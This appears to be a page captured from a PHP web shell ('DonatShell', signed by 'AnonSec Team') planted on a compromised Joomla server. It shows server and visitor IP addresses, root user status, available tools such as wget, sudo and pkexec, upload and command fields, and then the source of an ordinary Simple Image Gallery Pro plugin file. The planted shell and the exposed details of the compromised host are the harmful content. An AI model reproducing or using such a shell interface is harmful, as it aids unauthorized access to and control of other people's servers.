%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/plugins/editors-xtd/jw_sigpro/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/plugins/editors-xtd/jw_sigpro/jw_sigpro.php
<?php
/**
 * @version		$Id: jw_sigpro.php 3455 2013-08-27 15:36:43Z joomlaworks $
 * @package		Simple Image Gallery Pro
 * @author		JoomlaWorks - http://www.joomlaworks.net
 * @copyright	Copyright (c) 2006 - 2013 JoomlaWorks Ltd. All rights reserved.
 * @license		http://www.joomlaworks.net/license
 */

// no direct access
defined('_JEXEC') or die ;

jimport('joomla.plugin.plugin');

class plgButtonJw_SigPro extends JPlugin
{

	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);
		$this->loadLanguage('', JPATH_ADMINISTRATOR);
	}

	function onDisplay($name)
	{
		$document = JFactory::getDocument();
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			$document->addScript('//ajax.googleapis.com/ajax/libs/jquery/1.8/jquery.min.js');
		}
		else
		{
			JHtml::_('jquery.framework');
		}
		$document->addScript(JURI::root(true).'/administrator/components/com_sigpro/js/fancybox/jquery.fancybox.pack.js?v=3.0.4');
		$document->addStyleSheet(JURI::root(true).'/administrator/components/com_sigpro/js/fancybox/jquery.fancybox.css?v=3.0.4');
		$document->addStyleSheet(JURI::root(true).'/administrator/components/com_sigpro/css/editor.css?v=3.0.4');
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			$option = JRequest::getCmd('option');
			if ($option == 'com_virtuemart' || $option == 'com_tienda' || $option == 'com_k2')
			{
				$document->addScript(JURI::root(true).'/administrator/components/com_sigpro/js/jquery.noconflict.restore.js?v=3.0.4');
			}
			else
			{
				$document->addScript(JURI::root(true).'/administrator/components/com_sigpro/js/jquery.noconflict.js?v=3.0.4');
			}

		}
		$document->addScript(JURI::root(true).'/administrator/components/com_sigpro/js/editor.js?v=3.0.4');
		$button = new JObject();
		$link = 'index.php?option=com_sigpro&amp;tmpl=component&amp;type=site&amp;editorName='.$name;
		$application = JFactory::getApplication();
		if ($application->isSite())
		{
			$link .= '&amp;template=system';
		}
		$button->set('link', $link);
		$button->set('text', JText::_('PLG_EDITORS-XTD_JW_SIGPRO_IMAGE_GALLERIES'));
		$button->set('name', 'sigProEditorButton');
		$button->set('onclick', 'SigProModal(this); return false;');
		if(version_compare(JVERSION, '3.0', 'ge'))
		{
			$button->class = 'btn';
		}
		return $button;
	}

}

Anon7 - 2022
AnonSec Team